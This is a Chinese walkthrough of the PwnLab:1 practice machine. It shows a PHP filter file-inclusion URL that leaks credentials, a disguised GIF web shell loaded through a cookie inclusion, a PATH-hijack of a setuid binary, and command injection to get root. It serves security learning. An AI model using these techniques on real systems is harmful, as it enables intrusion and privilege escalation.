靶场练习 - Pwnlab:1

靶场搭建

导入OVA虚拟机

开机前移除桥接模式的网卡,添加一张NAT的网卡,IP地址:192.168.74.140

渗透测试过程

nmap扫描端口

找到了80、111、3306、36564

80/tcp    open  http
111/tcp   open  rpcbind
3306/tcp  open  mysql
36564/tcp open  unknown

36564端口具体扫描一下

PORT      STATE SERVICE VERSION
36564/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:77:17:4A (VMware)
NFS服务器是一种网络服务,用于实现文件和目录的共享,允许多台计算机通过网络访问共享的文件系统,在企业环境中可以实现数据中心共享、跨平台访问、存储集中管理和提高工作效率等功能,为用户和系统提供方便的文件访问和共享方式。

看一下80端口,并进行信息收集,发现有个上传点,但是需要登录

dirsearchnikto做一下路径扫描,找到了login.php、config.php、images文件夹、upload文件夹

有一个/icon/README文件,感觉在之后的环节会有作用

文件包含

看到了URLhttp://192.168.74.140/?page=upload,怀疑有文件包含,他可能是通过拼接.php包含的upload文件

那么我们构造一下语句:http://192.168.74.140/?page=php://filter/convert.base64-encode/resource=config

拿到了config.php的内容:

<?php
$server      = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

拿到了数据库信息,连接进去看看,能够看到账号密码信息,密码是通过base64编码的,解码得到密码

kent/JWzXuBJJNy
mike/SIfdsTEn6I
kane/iSv5Ym2GRo

登录进去进行文件上传,如法炮制查看upload.php的代码

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
    <body>
        <form action='' method='post' enctype='multipart/form-data'>
            <input type='file' name='file' id='file' />
            <input type='submit' name='submit' value='Upload'/>
        </form>
    </body>
</html>
<?php 
if(isset($_POST['submit'])) {
    if ($_FILES['file']['error'] <= 0) {
        $filename  = $_FILES['file']['name'];
        $filetype  = $_FILES['file']['type'];
        $uploaddir = 'upload/';
        $file_ext  = strrchr($filename, '.');
        $imageinfo = getimagesize($_FILES['file']['tmp_name']);
        $whitelist = array(".jpg",".jpeg",".gif",".png"); 

        if (!(in_array($file_ext, $whitelist))) {
            die('Not allowed extension, please upload images only.');
        }

        if(strpos($filetype,'image') === false) {
            die('Error 001');
        }

        if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
            die('Error 002');
        }

        if(substr_count($filetype, '/')>1){
            die('Error 003');
        }

        $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
            echo "<img src=\"".$uploadfile."\"><br />";
        } else {
            die('Error 4');
        }
    }
}

?>z{^

检查了文件的后缀名、MIME文件类型,并且锁定了上传位置,并进行了重命名

可以说比较严格了,拿我们可以尝试添加GIF头,上传GIF格式的phpshell,通过文件包含干他

前面用过的文件包含指定是不行了,因为他后面估计是拼接了.php

也许可以尝试远程包含?包了一下没有任何反应==、

通过input上传也不行,那么我们如法炮制看一下index.php里面的代码吧

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

看到这里面也有一个文件包含,需要修改cookie中lang字段的值,我们把他改成我们上传的反弹shell地址

直接添加地址为upload/46c0dec38ca682375e5786dbb0c34052.gif还不行,往上层目录移一下../upload/46c0dec38ca682375e5786dbb0c34052.gif才可以

kali中监听的nc拿到了shell

提权

看一下home里面4个用户,和之前拿到的账号密码对应,先使用python升级交互shellpython -c 'import pty;pty.spawn("/bin/bash");'

su一个账号试试,mike没登录上去,kane这个账号登录上去了

尝试信息收集了一下,没发现什么东西,也不能sudo,看了一下桌面有一个msgmike可以进行执行

执行一下msgmike

./msgmike
cat: /home/mike/msg.txt: No such file or directory

发现是运行了cat命令,骚操作,他这个设置了s权限,会以所有者权限进行执行,那么我们可以通过修改环境变量中的cat文件,让这个文件运行bash,这样就能拿到mike用户的shell了。

echo /bin/bash > /tmp/cat
export PATH=/tmp:$PATH
chmod 777 /tmp/cat
./msgmike

这样就拿到了mike的shell

查看一下mike的home,发现有一个文件msg2root,拿到这个估计就是root了

运行一下发现没有什么特殊的地方

使用strings命令

strings命令是一个用于在文件中查找可打印字符序列的实用程序。通过扫描指定文件,提取其中的可打印字符序列,这有助于从二进制文件中提取文本信息,如从可执行文件、库文件等中提取出人类可读的字符串。常用选项包括指定最小长度、输出偏移量格式、显示所有字符串以及指定输出编码格式。

看到了这里/bin/echo %s >> /root/messages.txt,那意思是输入的%s发送到了messages.txt,如果进行闭合,跟以前web练习的RCE一样呢?

./msg2root
Message for root: sb ; id
sb ; id
sb
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)

发现是执行了,如法炮制:

./msg2root
Message for root: sb ; /bin/sh
sb ; /bin/sh
sb
# whoami
whoami
root

这里用/bin/sh才可以,如果是/bin/bash会回到kane的shell中,我不明白具体原因,我认为可能是和终端的环境变量有关系,但是我不知道具体的关联

拿到了root权限!

小结

主要用了文件包含,需要再去回顾回顾,什么时候能input,怎么样可以远程包含

对于linux下终端的环境变量理解不够深刻,多个shell进行嵌套的时候不知道环境变量中权限的传递时如何进行的。理解还是不够深刻

评论区
头像
文章目录